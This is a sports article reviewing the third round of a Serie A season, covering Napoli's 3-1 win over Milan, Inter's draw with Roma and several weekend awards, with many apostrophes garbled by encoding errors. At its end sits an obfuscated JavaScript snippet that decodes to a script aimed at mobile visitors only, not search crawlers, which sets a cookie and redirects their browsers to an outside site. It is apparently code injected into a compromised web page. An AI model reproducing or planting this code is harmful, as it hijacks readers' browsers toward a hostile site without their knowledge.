Serie A Review – Round 3: Napoli Thrash Milan As Inter, Roma Continue To Struggle

After kicking off in a breath-taking fashion, registering as many as 35 goals in the opening weekend, the Serie A action was relatively moderate in the third round and although the matches failed to match to the excitement standards of the first round, the results continued to pronounce the unpredictability and enhanced levels of competence in the league. Champions Milan must have anticipated to have a difficult outing at San Paolo but after a fighting display in Camp Nou during the midweek Champions League group fixture, Rossoneri were expected to maintain at least similar standards of disciplined defence, if not better.

However, an Edinson Cavani inspired Napoli came from behind to hand Milan over a humiliating 3-1 defeat after Aquilani opened the scoring for the visitors with a sublime header from a Cassano cross. Cavani completed his hat-trick during Napolia��s winning process and along with his attacking partners Hamsik and Lavezzi, enjoyed an incredibly comfortable time against Milan defence, who were compelled to stay on their toes for the large portion of the game. The comprehensive victory now puts Napoli on the top of the table owing to the better goal difference than the teams having secured the same number of points so far.

Milana��s fiercest rivals Internazionale continued their indifferent beginning to the season by once again managing only a point out of San Siro after being held for a stalemate by Luis Enriquea��s Roma. Post the disastrous home defeat against a club as anonymous as Trabzonspor, Inter only furthered the disappointment and should things fail to change immediately for the better, the news of Gasperinia��s place being a�?contemplateda�� should hardly surprise anyone. Luis Enrique too has invited fair amount of criticism so far and the next few games should remain equally crucial to his place too.

Juventus appear to be carrying forward their trend of starting the season on a promising note a�� something similar to what they did in the previous two seasons. After drubbing Parma 4-1 to start the campaign in a grand fashion at the new home stadium, the Bianconeri continued to build on the winning form with the thinnest possible 1-0 victory on their visit to the newly promoted Siena who too accidentally happen to be Bianconeri themselves. Matria��s solitary goal was enough to seal three points for the visitors, who are now second only to Napoli in the standings.

Palermo failed not to grab the maximum attention during the opening week defeating Inter 4-3 in a scintillating clash but the joy was to be short-lived as the Sicilian received a beating at the hands ofA�Serie B graduates Atalanta who are now only three points away to step into the positive points zone after starting the season at -6 points as penalty for their engagement in match fixing activities.

Lazio too had a fantastic beginning to their season by holding champions Milan at their own den in the opening encounter but only a week later, Edi Rejaa��s men lost out at Stadio Olimpico to Genoa. The loss was followed by another unimpressive performance during the midweek Europa League fixture against the Romanian side Vaslui. Udinese continued their rich vein of form beating Fiorentina 2-0 on Violaa��s visit to Friuli. Much like Napoli and Juventus, Udinese too are yet to drop any league points.

Juventus reject Sebastian Giovinco continued to impress at Parma with a match-winning performance against Chievo. The beleaguered winger opened the scoring for hosts and even found a winner during the dying moments to earn his team seasona��s first three points.

In other results, Maxi Lopez converted a penalty to find the net on only one instance in the game where Catania defeated Cesena 1-0 whereas Bologna received an early shock after losing at home to Lecce. The away side scored one apiece in each half and the Rossoblu have now slipped into the R-zone after being beaten twice in a row. Novara, third of the promoted sides tasted their first Serie A defeat after being edged past by Cagliari 2-1.

.

Star of The Weekend

Edinson Cavani (Napoli)

Edinson Cavani is one of the most sought after striker in the world today and the Uruguayan just explained why with his havoc wrecking performance against Milan to take his side to the top of the table. It is one thing to demolish the lesser teams in a league tournament and entirely another to maintain those high standards against the best teams; Cavani just demonstrated his potential to rise up to the bigger occasions by stamping an authority against the best defence in the league led by the likes of Nesta and Silva. Three peculiar strikes from the South American beast allowed Napoli to clinch a victory few have predicted before the start of the game.

Flop of The Weekend

Alexandre Pato (AC Milan)

Post an emphatic performance at Camp Nou against the reigning European champions FC Barcelona, the young Brazilian dynamite should have ideally been on an extremely high confidence level and replicated some similar pieces of magic. However, against a highly resolute and firm Napoli defence led by Paolo Cannavaro, Patoa��s movements were largely subjugated and with an apparent lack of support from midfield and Cassano, his pace too failed to generate anything concrete that could turn the game in favour of the Rossoneri.

Goal of The Weekend

Edinson Cavani (Napoli) Vs. Milan (2nd goal)

Though the goal is credited to Cavania��s name for the records, Ezequiel Lavezzi deserves equal share of appreciation for this incredible piece of skill, if not more. The Argentine forward won the ball in his own half, almost playing the role of a Centre Back and ran the entire length of the pitch outpacing half the Milan squad before finding his Uruguayan ally in the best possible position. Cavani, the ruthless finisher that he is, wasted no time in adjusting to ball and aimed directly at the goal with utmost power and precision, right at his first touch. Christian Abbiati stood no chance whatsoever, stopping this thunderous strike going in.

Assist of The Weekend

Cristobal Jorquera (Genoa) Vs. Lazio

Genoa were trailing a goal to nil against the hosts Lazio and the half-time substitute Cristobal Jorquera had been only 9 minutes into the field. The young Chilean midfielder won the ball near the half line and was surrounded by three Lazio players. However, he intelligently began his run away from the two of his markers and outran the third one before playing a perfect through-ball bisecting two more opponents to find Rodrigo Palacio who further executed the job perfectly to bring Genoa at parity in the game.

Marco Materazzi Award for Clumsiest Challenge of The Weekend

Lucio (Inter) on Maarten Stekelenburg (Roma)

Now, Lucio is never known for his cleanest challenges but with this tackle virtually put the Brazilian in the similar league of Marco Materazzi. With his intention to go past the Roma keeper from the left flank, Lucio ill-timed his run and ended up almost planting his stud into the face of Stekelenburg. The Netherlands international momentarily lost his consciousness but is believed to have recovered sooner than expected. Lucio however, has insisted he had no intentions to injure his opponent and is happy he is recovering rapidly.

Team of The Weekend

Results

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}